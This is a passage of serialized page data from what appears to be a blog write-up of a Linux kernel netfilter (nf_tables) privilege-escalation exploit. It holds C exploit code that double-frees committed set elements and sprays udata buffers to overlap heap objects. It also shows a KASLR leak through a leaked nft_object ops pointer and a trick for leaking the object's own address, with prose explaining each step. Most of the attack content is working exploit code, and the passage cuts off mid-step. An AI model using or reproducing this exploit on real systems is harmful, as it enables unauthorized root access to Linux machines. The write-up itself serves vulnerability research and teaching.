",{"type":24,"tag":147,"props":60248,"children":60249},{"style":3534},[60250],{"type":29,"value":60251},"\"pwnobj\"",{"type":24,"tag":147,"props":60253,"children":60254},{"style":235},[60255],{"type":29,"value":546},{"type":24,"tag":147,"props":60257,"children":60258},{"style":705},[60259],{"type":29,"value":60260},"7",{"type":24,"tag":147,"props":60262,"children":60263},{"style":235},[60264],{"type":29,"value":1473},{"type":24,"tag":147,"props":60266,"children":60267},{"class":149,"line":444},[60268,60272,60276,60280,60285,60289],{"type":24,"tag":147,"props":60269,"children":60270},{"style":229},[60271],{"type":29,"value":60233},{"type":24,"tag":147,"props":60273,"children":60274},{"style":235},[60275],{"type":29,"value":480},{"type":24,"tag":147,"props":60277,"children":60278},{"style":247},[60279],{"type":29,"value":532},{"type":24,"tag":147,"props":60281,"children":60282},{"style":235},[60283],{"type":29,"value":60284},"[i], NFTNL_SET_ELEM_KEY, ",{"type":24,"tag":147,"props":60286,"children":60287},{"style":241},[60288],{"type":29,"value":485},{"type":24,"tag":147,"props":60290,"children":60291},{"style":235},[60292],{"type":29,"value":60293},"key, KEY_LEN);\n",{"type":24,"tag":147,"props":60295,"children":60296},{"class":149,"line":452},[60297,60301,60305,60309,60314,60318],{"type":24,"tag":147,"props":60298,"children":60299},{"style":229},[60300],{"type":29,"value":60233},{"type":24,"tag":147,"props":60302,"children":60303},{"style":235},[60304],{"type":29,"value":480},{"type":24,"tag":147,"props":60306,"children":60307},{"style":247},[60308],{"type":29,"value":532},{"type":24,"tag":147,"props":60310,"children":60311},{"style":235},[60312],{"type":29,"value":60313},"[i], NFTNL_SET_ELEM_USERDATA, ",{"type":24,"tag":147,"props":60315,"children":60316},{"style":241},[60317],{"type":29,"value":485},{"type":24,"tag":147,"props":60319,"children":60320},{"style":235},[60321],{"type":29,"value":60322},"udata_buf, size);\n",{"type":24,"tag":147,"props":60324,"children":60325},{"class":149,"line":461},[60326,60331,60336,60340],{"type":24,"tag":147,"props":60327,"children":60328},{"style":229},[60329],{"type":29,"value":60330},"        nftnl_set_elem_add",{"type":24,"tag":147,"props":60332,"children":60333},{"style":235},[60334],{"type":29,"value":60335},"(set, ",{"type":24,"tag":147,"props":60337,"children":60338},{"style":247},[60339],{"type":29,"value":532},{"type":24,"tag":147,"props":60341,"children":60342},{"style":235},[60343],{"type":29,"value":60344},"[i]);\n",{"type":24,"tag":147,"props":60346,"children":60347},{"class":149,"line":469},[60348],{"type":24,"tag":147,"props":60349,"children":60350},{"style":235},[60351],{"type":29,"value":1952},{"type":24,"tag":147,"props":60353,"children":60354},{"class":149,"line":508},[60355],{"type":24,"tag":147,"props":60356,"children":60357},{"style":235},[60358],{"type":29,"value":15939},{"type":24,"tag":147,"props":60360,"children":60361},{"class":149,"line":572},[60362],{"type":24,"tag":147,"props":60363,"children":60364},{"emptyLinePlaceholder":16},[60365],{"type":29,"value":314},{"type":24,"tag":147,"props":60367,"children":60368},{"class":149,"line":591},[60369],{"type":24,"tag":147,"props":60370,"children":60371},{"style":235},[60372],{"type":29,"value":60373},"    // TRANSACTION 3\n",{"type":24,"tag":147,"props":60375,"children":60376},{"class":149,"line":632},[60377],{"type":24,"tag":147,"props":60378,"children":60379},{"style":235},[60380],{"type":29,"value":15939},{"type":24,"tag":147,"props":60382,"children":60383},{"class":149,"line":659},[60384],{"type":24,"tag":147,"props":60385,"children":60386},{"style":235},[60387],{"type":29,"value":60388},"    set = nftnl_set_alloc();\n",{"type":24,"tag":147,"props":60390,"children":60391},{"class":149,"line":684},[60392,60397],{"type":24,"tag":147,"props":60393,"children":60394},{"style":229},[60395],{"type":29,"value":60396},"    nftnl_set_set_u32",{"type":24,"tag":147,"props":60398,"children":60399},{"style":235},[60400],{"type":29,"value":60401},"(set, NFTNL_SET_FAMILY, family);\n",{"type":24,"tag":147,"props":60403,"children":60404},{"class":149,"line":715},[60405,60410],{"type":24,"tag":147,"props":60406,"children":60407},{"style":229},[60408],{"type":29,"value":60409},"    nftnl_set_set_str",{"type":24,"tag":147,"props":60411,"children":60412},{"style":235},[60413],{"type":29,"value":60414},"(set, NFTNL_SET_TABLE, exploit_table_name);\n",{"type":24,"tag":147,"props":60416,"children":60417},{"class":149,"line":744},[60418,60422,60427,60431],{"type":24,"tag":147,"props":60419,"children":60420},{"style":229},[60421],{"type":29,"value":60409},{"type":24,"tag":147,"props":60423,"children":60424},{"style":235},[60425],{"type":29,"value":60426},"(set, NFTNL_SET_NAME, ",{"type":24,"tag":147,"props":60428,"children":60429},{"style":3534},[60430],{"type":29,"value":60026},{"type":24,"tag":147,"props":60432,"children":60433},{"style":235},[60434],{"type":29,"value":1473},{"type":24,"tag":147,"props":60436,"children":60437},{"class":149,"line":784},[60438],{"type":24,"tag":147,"props":60439,"children":60440},{"emptyLinePlaceholder":16},[60441],{"type":29,"value":314},{"type":24,"tag":147,"props":60443,"children":60444},{"class":149,"line":792},[60445],{"type":24,"tag":147,"props":60446,"children":60447},{"style":154},[60448],{"type":29,"value":60449},"    // make priv->dirty true\n",{"type":24,"tag":147,"props":60451,"children":60452},{"class":149,"line":805},[60453,60458,60462,60467],{"type":24,"tag":147,"props":60454,"children":60455},{"style":229},[60456],{"type":29,"value":60457},"    memset",{"type":24,"tag":147,"props":60459,"children":60460},{"style":235},[60461],{"type":29,"value":60211},{"type":24,"tag":147,"props":60463,"children":60464},{"style":705},[60465],{"type":29,"value":60466},"0xff",{"type":24,"tag":147,"props":60468,"children":60469},{"style":235},[60470],{"type":29,"value":60471},", KEY_LEN);\n",{"type":24,"tag":147,"props":60473,"children":60474},{"class":149,"line":813},[60475,60480,60484,60488,60492,60496,60500],{"type":24,"tag":147,"props":60476,"children":60477},{"style":247},[60478],{"type":29,"value":60479},"    elem",{"type":24,"tag":147,"props":60481,"children":60482},{"style":235},[60483],{"type":29,"value":9358},{"type":24,"tag":147,"props":60485,"children":60486},{"style":705},[60487],{"type":29,"value":22901},{"type":24,"tag":147,"props":60489,"children":60490},{"style":235},[60491],{"type":29,"value":14286},{"type":24,"tag":147,"props":60493,"children":60494},{"style":241},[60495],{"type":29,"value":369},{"type":24,"tag":147,"props":60497,"children":60498},{"style":229},[60499],{"type":29,"value":60194},{"type":24,"tag":147,"props":60501,"children":60502},{"style":235},[60503],{"type":29,"value":9295},{"type":24,"tag":147,"props":60505,"children":60506},{"class":149,"line":821},[60507,60512,60516,60520,60524,60528,60533,60537,60541,60545],{"type":24,"tag":147,"props":60508,"children":60509},{"style":229},[60510],{"type":29,"value":60511},"    nftnl_set_elem_set",{"type":24,"tag":147,"props":60513,"children":60514},{"style":235},[60515],{"type":29,"value":480},{"type":24,"tag":147,"props":60517,"children":60518},{"style":247},[60519],{"type":29,"value":532},{"type":24,"tag":147,"props":60521,"children":60522},{"style":235},[60523],{"type":29,"value":9358},{"type":24,"tag":147,"props":60525,"children":60526},{"style":705},[60527],{"type":29,"value":22901},{"type":24,"tag":147,"props":60529,"children":60530},{"style":235},[60531],{"type":29,"value":60532},"], NFTNL_SET_ELEM_OBJREF, ",{"type":24,"tag":147,"props":60534,"children":60535},{"style":3534},[60536],{"type":29,"value":60251},{"type":24,"tag":147,"props":60538,"children":60539},{"style":235},[60540],{"type":29,"value":546},{"type":24,"tag":147,"props":60542,"children":60543},{"style":705},[60544],{"type":29,"value":60260},{"type":24,"tag":147,"props":60546,"children":60547},{"style":235},[60548],{"type":29,"value":1473},{"type":24,"tag":147,"props":60550,"children":60551},{"class":149,"line":1902},[60552,60556,60560,60564,60568,60572,60577,60581],{"type":24,"tag":147,"props":60553,"children":60554},{"style":229},[60555],{"type":29,"value":60511},{"type":24,"tag":147,"props":60557,"children":60558},{"style":235},[60559],{"type":29,"value":480},{"type":24,"tag":147,"props":60561,"children":60562},{"style":247},[60563],{"type":29,"value":532},{"type":24,"tag":147,"props":60565,"children":60566},{"style":235},[60567],{"type":29,"value":9358},{"type":24,"tag":147,"props":60569,"children":60570},{"style":705},[60571],{"type":29,"value":22901},{"type":24,"tag":147,"props":60573,"children":60574},{"style":235},[60575],{"type":29,"value":60576},"], NFTNL_SET_ELEM_KEY, ",{"type":24,"tag":147,"props":60578,"children":60579},{"style":241},[60580],{"type":29,"value":485},{"type":24,"tag":147,"props":60582,"children":60583},{"style":235},[60584],{"type":29,"value":60293},{"type":24,"tag":147,"props":60586,"children":60587},{"class":149,"line":1920},[60588,60593,60597,60601,60605,60609],{"type":24,"tag":147,"props":60589,"children":60590},{"style":229},[60591],{"type":29,"value":60592},"    nftnl_set_elem_add",{"type":24,"tag":147,"props":60594,"children":60595},{"style":235},[60596],{"type":29,"value":60335},{"type":24,"tag":147,"props":60598,"children":60599},{"style":247},[60600],{"type":29,"value":532},{"type":24,"tag":147,"props":60602,"children":60603},{"style":235},[60604],{"type":29,"value":9358},{"type":24,"tag":147,"props":60606,"children":60607},{"style":705},[60608],{"type":29,"value":22901},{"type":24,"tag":147,"props":60610,"children":60611},{"style":235},[60612],{"type":29,"value":9377},{"type":24,"tag":147,"props":60614,"children":60615},{"class":149,"line":1929},[60616],{"type":24,"tag":147,"props":60617,"children":60618},{"style":235},[60619],{"type":29,"value":15939},{"type":24,"tag":147,"props":60621,"children":60622},{"class":149,"line":1938},[60623],{"type":24,"tag":147,"props":60624,"children":60625},{"emptyLinePlaceholder":16},[60626],{"type":29,"value":314},{"type":24,"tag":147,"props":60628,"children":60629},{"class":149,"line":1946},[60630],{"type":24,"tag":147,"props":60631,"children":60632},{"style":235},[60633],{"type":29,"value":60634},"    // double-free commited elems\n",{"type":24,"tag":147,"props":60636,"children":60637},{"class":149,"line":1955},[60638],{"type":24,"tag":147,"props":60639,"children":60640},{"style":235},[60641],{"type":29,"value":15939},{"type":24,"tag":147,"props":60643,"children":60644},{"class":149,"line":29376},[60645,60650,60654],{"type":24,"tag":147,"props":60646,"children":60647},{"style":235},[60648],{"type":29,"value":60649},"    nftnl_set_free(",{"type":24,"tag":147,"props":60651,"children":60652},{"style":9044},[60653],{"type":29,"value":56616},{"type":24,"tag":147,"props":60655,"children":60656},{"style":235},[60657],{"type":29,"value":1473},{"type":24,"tag":147,"props":60659,"children":60660},{"class":149,"line":29384},[60661],{"type":24,"tag":147,"props":60662,"children":60663},{"style":235},[60664],{"type":29,"value":827},{"type":24,"tag":147,"props":60666,"children":60667},{"class":149,"line":29421},[60668],{"type":24,"tag":147,"props":60669,"children":60670},{"style":235},[60671],{"type":29,"value":15939},{"type":24,"tag":43,"props":60673,"children":60675},{"id":60674},"leaking-kaslr",[60676],{"type":29,"value":60677},"Leaking KASLR",{"type":24,"tag":25,"props":60679,"children":60680},{},[60681,60683,60689,60691,60696,60698,60704,60706,60712,60714],{"type":29,"value":60682},"Tables contain an outline user data buffer ",{"type":24,"tag":80,"props":60684,"children":60686},{"className":60685},[],[60687],{"type":29,"value":60688},"udata",{"type":29,"value":60690}," that we can both read and write. By allocating a ",{"type":24,"tag":80,"props":60692,"children":60694},{"className":60693},[],[60695],{"type":29,"value":60688},{"type":29,"value":60697}," buffer on the double-free slot and then overlapping it with an ",{"type":24,"tag":80,"props":60699,"children":60701},{"className":60700},[],[60702],{"type":29,"value":60703},"nft_object",{"type":29,"value":60705}," we can leak the ",{"type":24,"tag":80,"props":60707,"children":60709},{"className":60708},[],[60710],{"type":29,"value":60711},"->ops",{"type":29,"value":60713}," pointer, and use it to calculate the KASLR slide.\n",{"type":24,"tag":63,"props":60715,"children":60717},{"alt":56176,"src":60716},"/posts/netfilter-universal-root-1-day/kaslr.png",[],{"type":24,"tag":137,"props":60719,"children":60721},{"className":34712,"code":60720,"language":34714,"meta":7,"style":7},"[...]\n    // spray 3 udata buffers to consume elems A, B and A again\n    udata_spray(nl, 0xe8, 0, 3, NULL);\n\n    // check if overlap happened (i.e if we have to overlapping udata buffers)\n    char spray_name[16];\n    char *udata[3];\n    for (int i = 0; i \u003C 3; i++)\n    {\n        snprintf(spray_name, sizeof(spray_name), \"spray-%i\", i);\n        udata[i] = getudata(nl, spray_name);\n    }\n    if (udata[0][0] == udata[2][0])\n    {\n        puts(\"[+] got duplicated table\");\n    }\n\n    // Replace one of the udata buffers with nft_object\n    // and read it's counterpart to leak the nft_object struct\n    puts(\"[*] Info leak\");\n    deludata_spray(nl, 0, 1);\n    wait_destroyer();\n    obj_spray(nl, 0, 1, NULL, 0);\n    uint64_t *fake_obj = (uint64_t *)getudata(nl, \"spray-2\");\n[...]\n",[60722],{"type":24,"tag":80,"props":60723,"children":60724},{"__ignoreMap":7},[60725,60732,60740,60775,60782,60790,60815,60842,60893,60900,60932,60958,60965,61030,61037,61058,61065,61072,61080,61088,61109,61138,61150,61194,61249],{"type":24,"tag":147,"props":60726,"children":60727},{"class":149,"line":150},[60728],{"type":24,"tag":147,"props":60729,"children":60730},{"style":235},[60731],{"type":29,"value":15939},{"type":24,"tag":147,"props":60733,"children":60734},{"class":149,"line":160},[60735],{"type":24,"tag":147,"props":60736,"children":60737},{"style":235},[60738],{"type":29,"value":60739},"    // spray 3 udata buffers to consume elems A, B and A again\n",{"type":24,"tag":147,"props":60741,"children":60742},{"class":149,"line":169},[60743,60748,60752,60757,60762,60767,60771],{"type":24,"tag":147,"props":60744,"children":60745},{"style":235},[60746],{"type":29,"value":60747},"    udata_spray(",{"type":24,"tag":147,"props":60749,"children":60750},{"style":9044},[60751],{"type":29,"value":59880},{"type":24,"tag":147,"props":60753,"children":60754},{"style":235},[60755],{"type":29,"value":60756},", 0",{"type":24,"tag":147,"props":60758,"children":60759},{"style":9044},[60760],{"type":29,"value":60761},"xe8",{"type":24,"tag":147,"props":60763,"children":60764},{"style":235},[60765],{"type":29,"value":60766},", 0, 3, ",{"type":24,"tag":147,"props":60768,"children":60769},{"style":9044},[60770],{"type":29,"value":5825},{"type":24,"tag":147,"props":60772,"children":60773},{"style":235},[60774],{"type":29,"value":1473},{"type":24,"tag":147,"props":60776,"children":60777},{"class":149,"line":178},[60778],{"type":24,"tag":147,"props":60779,"children":60780},{"emptyLinePlaceholder":16},[60781],{"type":29,"value":314},{"type":24,"tag":147,"props":60783,"children":60784},{"class":149,"line":187},[60785],{"type":24,"tag":147,"props":60786,"children":60787},{"style":154},[60788],{"type":29,"value":60789},"    // check if overlap happened (i.e if we have to overlapping udata buffers)\n",{"type":24,"tag":147,"props":60791,"children":60792},{"class":149,"line":196},[60793,60798,60803,60807,60811],{"type":24,"tag":147,"props":60794,"children":60795},{"style":218},[60796],{"type":29,"value":60797},"    char",{"type":24,"tag":147,"props":60799,"children":60800},{"style":247},[60801],{"type":29,"value":60802}," spray_name",{"type":24,"tag":147,"props":60804,"children":60805},{"style":235},[60806],{"type":29,"value":9358},{"type":24,"tag":147,"props":60808,"children":60809},{"style":705},[60810],{"type":29,"value":46442},{"type":24,"tag":147,"props":60812,"children":60813},{"style":235},[60814],{"type":29,"value":37174},{"type":24,"tag":147,"props":60816,"children":60817},{"class":149,"line":205},[60818,60822,60826,60830,60834,60838],{"type":24,"tag":147,"props":60819,"children":60820},{"style":218},[60821],{"type":29,"value":60797},{"type":24,"tag":147,"props":60823,"children":60824},{"style":241},[60825],{"type":29,"value":1263},{"type":24,"tag":147,"props":60827,"children":60828},{"style":247},[60829],{"type":29,"value":60688},{"type":24,"tag":147,"props":60831,"children":60832},{"style":235},[60833],{"type":29,"value":9358},{"type":24,"tag":147,"props":60835,"children":60836},{"style":705},[60837],{"type":29,"value":22901},{"type":24,"tag":147,"props":60839,"children":60840},{"style":235},[60841],{"type":29,"value":37174},{"type":24,"tag":147,"props":60843,"children":60844},{"class":149,"line":214},[60845,60849,60853,60857,60861,60865,60869,60873,60877,60881,60885,60889],{"type":24,"tag":147,"props":60846,"children":60847},{"style":321},[60848],{"type":29,"value":324},{"type":24,"tag":147,"props":60850,"children":60851},{"style":235},[60852],{"type":29,"value":408},{"type":24,"tag":147,"props":60854,"children":60855},{"style":218},[60856],{"type":29,"value":1276},{"type":24,"tag":147,"props":60858,"children":60859},{"style":235},[60860],{"type":29,"value":60133},{"type":24,"tag":147,"props":60862,"children":60863},{"style":241},[60864],{"type":29,"value":369},{"type":24,"tag":147,"props":60866,"children":60867},{"style":705},[60868],{"type":29,"value":708},{"type":24,"tag":147,"props":60870,"children":60871},{"style":235},[60872],{"type":29,"value":56827},{"type":24,"tag":147,"props":60874,"children":60875},{"style":241},[60876],{"type":29,"value":3583},{"type":24,"tag":147,"props":60878,"children":60879},{"style":705},[60880],{"type":29,"value":24703},{"type":24,"tag":147,"props":60882,"children":60883},{"style":235},[60884],{"type":29,"value":56857},{"type":24,"tag":147,"props":60886,"children":60887},{"style":241},[60888],{"type":29,"value":56862},{"type":24,"tag":147,"props":60890,"children":60891},{"style":235},[60892],{"type":29,"value":269},{"type":24,"tag":147,"props":60894,"children":60895},{"class":149,"line":272},[60896],{"type":24,"tag":147,"props":60897,"children":60898},{"style":235},[60899],{"type":29,"value":3079},{"type":24,"tag":147,"props":60901,"children":60902},{"class":149,"line":281},[60903,60908,60913,60917,60922,60927],{"type":24,"tag":147,"props":60904,"children":60905},{"style":229},[60906],{"type":29,"value":60907},"        snprintf",{"type":24,"tag":147,"props":60909,"children":60910},{"style":235},[60911],{"type":29,"value":60912},"(spray_name, ",{"type":24,"tag":147,"props":60914,"children":60915},{"style":218},[60916],{"type":29,"value":384},{"type":24,"tag":147,"props":60918,"children":60919},{"style":235},[60920],{"type":29,"value":60921},"(spray_name), ",{"type":24,"tag":147,"props":60923,"children":60924},{"style":3534},[60925],{"type":29,"value":60926},"\"spray-%i\"",{"type":24,"tag":147,"props":60928,"children":60929},{"style":235},[60930],{"type":29,"value":60931},", i);\n",{"type":24,"tag":147,"props":60933,"children":60934},{"class":149,"line":299},[60935,60940,60944,60948,60953],{"type":24,"tag":147,"props":60936,"children":60937},{"style":247},[60938],{"type":29,"value":60939},"        udata",{"type":24,"tag":147,"props":60941,"children":60942},{"style":235},[60943],{"type":29,"value":60185},{"type":24,"tag":147,"props":60945,"children":60946},{"style":241},[60947],{"type":29,"value":369},{"type":24,"tag":147,"props":60949,"children":60950},{"style":229},[60951],{"type":29,"value":60952}," getudata",{"type":24,"tag":147,"props":60954,"children":60955},{"style":235},[60956],{"type":29,"value":60957},"(nl, spray_name);\n",{"type":24,"tag":147,"props":60959,"children":60960},{"class":149,"line":308},[60961],{"type":24,"tag":147,"props":60962,"children":60963},{"style":235},[60964],{"type":29,"value":1952},{"type":24,"tag":147,"props":60966,"children":60967},{"class":149,"line":317},[60968,60972,60976,60980,60984,60988,60992,60996,61000,61004,61009,61013,61017,61021,61025],{"type":24,"tag":147,"props":60969,"children":60970},{"style":321},[60971],{"type":29,"value":4759},{"type":24,"tag":147,"props":60973,"children":60974},{"style":235},[60975],{"type":29,"value":408},{"type":24,"tag":147,"props":60977,"children":60978},{"style":247},[60979],{"type":29,"value":60688},{"type":24,"tag":147,"props":60981,"children":60982},{"style":235},[60983],{"type":29,"value":9358},{"type":24,"tag":147,"props":60985,"children":60986},{"style":705},[60987],{"type":29,"value":3173},{"type":24,"tag":147,"props":60989,"children":60990},{"style":235},[60991],{"type":29,"value":54556},{"type":24,"tag":147,"props":60993,"children":60994},{"style":705},[60995],{"type":29,"value":3173},{"type":24,"tag":147,"props":60997,"children":60998},{"style":235},[60999],{"type":29,"value":14286},{"type":24,"tag":147,"props":61001,"children":61002},{"style":241},[61003],{"type":29,"value":6600},{"type":24,"tag":147,"props":61005,"children":61006},{"style":247},[61007],{"type":29,"value":61008}," udata",{"type":24,"tag":147,"props":61010,"children":61011},{"style":235},[61012],{"type":29,"value":9358},{"type":24,"tag":147,"props":61014,"children":61015},{"style":705},[61016],{"type":29,"value":8753},{"type":24,"tag":147,"props":61018,"children":61019},{"style":235},[61020],{"type":29,"value":54556},{"type":24,"tag":147,"props":61022,"children":61023},{"style":705},[61024],{"type":29,"value":3173},{"type":24,"tag":147,"props":61026,"children":61027},{"style":235},[61028],{"type":29,"value":61029},"])\n",{"type":24,"tag":147,"props":61031,"children":61032},{"class":149,"line":332},[61033],{"type":24,"tag":147,"props":61034,"children":61035},{"style":235},[61036],{"type":29,"value":3079},{"type":24,"tag":147,"props":61038,"children":61039},{"class":149,"line":350},[61040,61045,61049,61054],{"type":24,"tag":147,"props":61041,"children":61042},{"style":229},[61043],{"type":29,"value":61044},"        puts",{"type":24,"tag":147,"props":61046,"children":61047},{"style":235},[61048],{"type":29,"value":480},{"type":24,"tag":147,"props":61050,"children":61051},{"style":3534},[61052],{"type":29,"value":61053},"\"[+] got duplicated table\"",{"type":24,"tag":147,"props":61055,"children":61056},{"style":235},[61057],{"type":29,"value":1473},{"type":24,"tag":147,"props":61059,"children":61060},{"class":149,"line":358},[61061],{"type":24,"tag":147,"props":61062,"children":61063},{"style":235},[61064],{"type":29,"value":1952},{"type":24,"tag":147,"props":61066,"children":61067},{"class":149,"line":397},[61068],{"type":24,"tag":147,"props":61069,"children":61070},{"emptyLinePlaceholder":16},[61071],{"type":29,"value":314},{"type":24,"tag":147,"props":61073,"children":61074},{"class":149,"line":421},[61075],{"type":24,"tag":147,"props":61076,"children":61077},{"style":154},[61078],{"type":29,"value":61079},"    // Replace one of the udata buffers with nft_object\n",{"type":24,"tag":147,"props":61081,"children":61082},{"class":149,"line":435},[61083],{"type":24,"tag":147,"props":61084,"children":61085},{"style":154},[61086],{"type":29,"value":61087},"    // and read it's counterpart to leak the nft_object struct\n",{"type":24,"tag":147,"props":61089,"children":61090},{"class":149,"line":444},[61091,61096,61100,61105],{"type":24,"tag":147,"props":61092,"children":61093},{"style":229},[61094],{"type":29,"value":61095},"    puts",{"type":24,"tag":147,"props":61097,"children":61098},{"style":235},[61099],{"type":29,"value":480},{"type":24,"tag":147,"props":61101,"children":61102},{"style":3534},[61103],{"type":29,"value":61104},"\"[*] Info leak\"",{"type":24,"tag":147,"props":61106,"children":61107},{"style":235},[61108],{"type":29,"value":1473},{"type":24,"tag":147,"props":61110,"children":61111},{"class":149,"line":452},[61112,61117,61122,61126,61130,61134],{"type":24,"tag":147,"props":61113,"children":61114},{"style":229},[61115],{"type":29,"value":61116},"    deludata_spray",{"type":24,"tag":147,"props":61118,"children":61119},{"style":235},[61120],{"type":29,"value":61121},"(nl, ",{"type":24,"tag":147,"props":61123,"children":61124},{"style":705},[61125],{"type":29,"value":3173},{"type":24,"tag":147,"props":61127,"children":61128},{"style":235},[61129],{"type":29,"value":546},{"type":24,"tag":147,"props":61131,"children":61132},{"style":705},[61133],{"type":29,"value":1154},{"type":24,"tag":147,"props":61135,"children":61136},{"style":235},[61137],{"type":29,"value":1473},{"type":24,"tag":147,"props":61139,"children":61140},{"class":149,"line":461},[61141,61146],{"type":24,"tag":147,"props":61142,"children":61143},{"style":229},[61144],{"type":29,"value":61145},"    wait_destroyer",{"type":24,"tag":147,"props":61147,"children":61148},{"style":235},[61149],{"type":29,"value":9295},{"type":24,"tag":147,"props":61151,"children":61152},{"class":149,"line":469},[61153,61158,61162,61166,61170,61174,61178,61182,61186,61190],{"type":24,"tag":147,"props":61154,"children":61155},{"style":229},[61156],{"type":29,"value":61157},"    obj_spray",{"type":24,"tag":147,"props":61159,"children":61160},{"style":235},[61161],{"type":29,"value":61121},{"type":24,"tag":147,"props":61163,"children":61164},{"style":705},[61165],{"type":29,"value":3173},{"type":24,"tag":147,"props":61167,"children":61168},{"style":235},[61169],{"type":29,"value":546},{"type":24,"tag":147,"props":61171,"children":61172},{"style":705},[61173],{"type":29,"value":1154},{"type":24,"tag":147,"props":61175,"children":61176},{"style":235},[61177],{"type":29,"value":546},{"type":24,"tag":147,"props":61179,"children":61180},{"style":218},[61181],{"type":29,"value":5825},{"type":24,"tag":147,"props":61183,"children":61184},{"style":235},[61185],{"type":29,"value":546},{"type":24,"tag":147,"props":61187,"children":61188},{"style":705},[61189],{"type":29,"value":3173},{"type":24,"tag":147,"props":61191,"children":61192},{"style":235},[61193],{"type":29,"value":1473},{"type":24,"tag":147,"props":61195,"children":61196},{"class":149,"line":508},[61197,61201,61205,61210,61214,61218,61223,61227,61231,61236,61240,61245],{"type":24,"tag":147,"props":61198,"children":61199},{"style":218},[61200],{"type":29,"value":1064},{"type":24,"tag":147,"props":61202,"children":61203},{"style":241},[61204],{"type":29,"value":1263},{"type":24,"tag":147,"props":61206,"children":61207},{"style":235},[61208],{"type":29,"value":61209},"fake_obj ",{"type":24,"tag":147,"props":61211,"children":61212},{"style":241},[61213],{"type":29,"value":369},{"type":24,"tag":147,"props":61215,"children":61216},{"style":235},[61217],{"type":29,"value":408},{"type":24,"tag":147,"props":61219,"children":61220},{"style":218},[61221],{"type":29,"value":61222},"uint64_t",{"type":24,"tag":147,"props":61224,"children":61225},{"style":241},[61226],{"type":29,"value":1263},{"type":24,"tag":147,"props":61228,"children":61229},{"style":235},[61230],{"type":29,"value":8758},{"type":24,"tag":147,"props":61232,"children":61233},{"style":229},[61234],{"type":29,"value":61235},"getudata",{"type":24,"tag":147,"props":61237,"children":61238},{"style":235},[61239],{"type":29,"value":61121},{"type":24,"tag":147,"props":61241,"children":61242},{"style":3534},[61243],{"type":29,"value":61244},"\"spray-2\"",{"type":24,"tag":147,"props":61246,"children":61247},{"style":235},[61248],{"type":29,"value":1473},{"type":24,"tag":147,"props":61250,"children":61251},{"class":149,"line":572},[61252],{"type":24,"tag":147,"props":61253,"children":61254},{"style":235},[61255],{"type":29,"value":15939},{"type":24,"tag":43,"props":61257,"children":61259},{"id":61258},"leaking-self-pointer-of-nft_object",[61260,61262],{"type":29,"value":61261},"Leaking self pointer of ",{"type":24,"tag":80,"props":61263,"children":61265},{"className":61264},[],[61266],{"type":29,"value":60703},{"type":24,"tag":25,"props":61268,"children":61269},{},[61270,61272,61277,61279,61284,61286,61291,61293,61299],{"type":29,"value":61271},"As I'll discuss in more depth in the ROP section, the exploit relies on a known address of controllable memory to work. I decided to use the ",{"type":24,"tag":80,"props":61273,"children":61275},{"className":61274},[],[61276],{"type":29,"value":60703},{"type":29,"value":61278}," to get its own address. This is possible because the ",{"type":24,"tag":80,"props":61280,"children":61282},{"className":61281},[],[61283],{"type":29,"value":60703},{"type":29,"value":61285}," has a ",{"type":24,"tag":80,"props":61287,"children":61289},{"className":61288},[],[61290],{"type":29,"value":60688},{"type":29,"value":61292}," pointer (similar to ",{"type":24,"tag":80,"props":61294,"children":61296},{"className":61295},[],[61297],{"type":29,"value":61298},"table->udata",{"type":29,"value":61300}," that I used for leaking KASLR), that I can use to read/write data.",{"type":24,"tag":25,"props":61302,"children":61303},{},[61304,61305,61310,61312,61318,61320,61325,61327,61333,61335,61341,61343,61348,61350,61355,61357,61362,61364],{"type":29,"value":5094},{"type":24,"tag":80,"props":61306,"children":61308},{"className":61307},[],[61309],{"type":29,"value":60703},{"type":29,"value":61311}," struct also contains a ",{"type":24,"tag":80,"props":61313,"children":61315},{"className":61314},[],[61316],{"type":29,"value":61317},"list_head",{"type":29,"value":61319}," inserted in a circular list containing all ",{"type":24,"tag":80,"props":61321,"children":61323},{"className":61322},[],[61324],{"type":29,"value":60703},{"type":29,"value":61326},"'s that belong to a given ",{"type":24,"tag":80,"props":61328,"children":61330},{"className":61329},[],[61331],{"type":29,"value":61332},"table",{"type":29,"value":61334},". Considering that our object is currently alone in its table, the ",{"type":24,"tag":80,"props":61336,"children":61338},{"className":61337},[],[61339],{"type":29,"value":61340},"table->list.next",{"type":29,"value":61342}," pointer in the ",{"type":24,"tag":80,"props":61344,"children":61346},{"className":61345},[],[61347],{"type":29,"value":60703},{"type":29,"value":61349}," will point back to the ",{"type":24,"tag":80,"props":61351,"children":61353},{"className":61352},[],[61354],{"type":29,"value":61317},{"type":29,"value":61356}," contained in the ",{"type":24,"tag":80,"props":61358,"children":61360},{"className":61359},[],[61361],{"type":29,"value":61332},{"type":29,"value":61363}," and vice-versa.\n",{"type":24,"tag":63,"props":61365,"children":61367},{"alt":56176,"src":61366},"/posts/netfilter-universal-root-1-day/nft-object.png",[],{"type":24,"tag":25,"props":61369,"children":61370},{},[61371,61373,61378,61380,61385,61387,61393,61395,61400,61401,61406,61408,61413,61415,61420],{"type":29,"value":61372},"In short, that means that if we swap the ",{"type":24,"tag":80,"props":61374,"children":61376},{"className":61375},[],[61377],{"type":29,"value":60688},{"type":29,"value":61379}," pointer of the ",{"type":24,"tag":80,"props":61381,"children":61383},{"className":61382},[],[61384],{"type":29,"value":60703},{"type":29,"value":61386}," with its own ",{"type":24,"tag":80,"props":61388,"children":61390},{"className":61389},[],[61391],{"type":29,"value":61392},"list.next",{"type":29,"value":61394}," pointer we should be able to read a pointer back to the ",{"type":24,"tag":80,"props":61396,"children":61398},{"className":61397},[],[61399],{"type":29,"value":60703},{"type":29,"value":57930},{"type":24,"tag":80,"props":61402,"children":61404},{"className":61403},[],[61405],{"type":29,"value":61317},{"type":29,"value":61407}," which is also the start of the ",{"type":24,"tag":80,"props":61409,"children":61411},{"className":61410},[],[61412],{"type":29,"value":60703},{"type":29,"value":61414}," itself.\n",{"type":24,"tag":10949,"props":61416,"children":61417},{},[61418],{"type":29,"value":61419},"NOTE:",{"type":29,"value":61421}," This is a novel small trick.",{"type":24,"tag":137,"props":61423,"children":61425},{"className":34712,"code":61424,"language":34714,"meta":7,"style":7},"[...]\n    // Leak nft_object ptr using table linked list\n    fake_obj[8] = 8;           // ulen = 8\n    fake_obj[9] = fake_obj[0]; // udata = list->next\n    deludata_spray(nl, 2, 1);\n    wait_destroyer();\n    udata_spray(nl, 0xe8, 3, 1, fake_obj);\n\n    get_obj(nl, \"spray-0\", true);\n    printf(\"[*] nft_object ptr: 0x%lx\\n\", 